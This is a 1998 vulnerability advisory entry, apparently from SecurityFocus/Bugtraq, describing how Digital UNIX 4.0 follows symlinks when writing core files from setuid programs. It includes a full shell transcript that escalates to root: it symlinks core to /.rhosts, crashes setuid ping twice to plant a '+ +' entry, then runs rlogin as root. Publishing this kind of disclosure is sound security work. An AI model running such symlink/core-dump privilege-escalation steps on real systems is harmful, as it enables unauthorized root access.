Digital UNIX SUID/SGID Core File Vulnerability

Bugtraq ID:	74
Class:	Unknown
CVE:
Remote:	Unknown
Local:	Unknown
Published:	Apr 06 1998 12:00AM
Updated:	Apr 06 1998 12:00AM
Credit:	Made public by |-ru5ty- and [SoReN] in the BugTraq mailing list.
Vulnerable:	Digital UNIX 4.0 D Digital UNIX 4.0 B Digital UNIX 4.0
Not Vulnerable:

Digital UNIX SUID/SGID Core File Vulnerability

Digital UNIX 4.0 will follow symlinks while writting core files if two
setuid programs dump core in sucession. The core file is owned by root
but with the user's groud id. The core file permissions are 0600. This
can be used to create root owned file anywhere in the filesystem.

Digital UNIX SUID/SGID Core File Vulnerability

$ ls -l /.rhosts
/.rhosts not found
$ ls -l /usr/sbin/ping
-rwsr-xr-x 1 root bin 32768 Nov 16 1996 /usr/sbin/ping
$ ln -s /.rhosts core
$ IMP='
>+ +
>'
$ ping somehost &
[1] 1337
$ ping somehost &
[2] 31337
$ kill -11 31337
$ kill -11 1337
[1] Segmentation fault /usr/sbin/ping somehost (core dumped)
[2] +Segmentation fault /usr/sbin/ping somehost (core dumped)
$ ls -l /.rhosts
-rw------- 1 root system 385024 Mar 29 05:17 /.rhosts
##/.rhosts has been created....that's all.##
$ rlogin localhost -l root

Digital UNIX SUID/SGID Core File Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

Digital UNIX SUID/SGID Core File Vulnerability

References: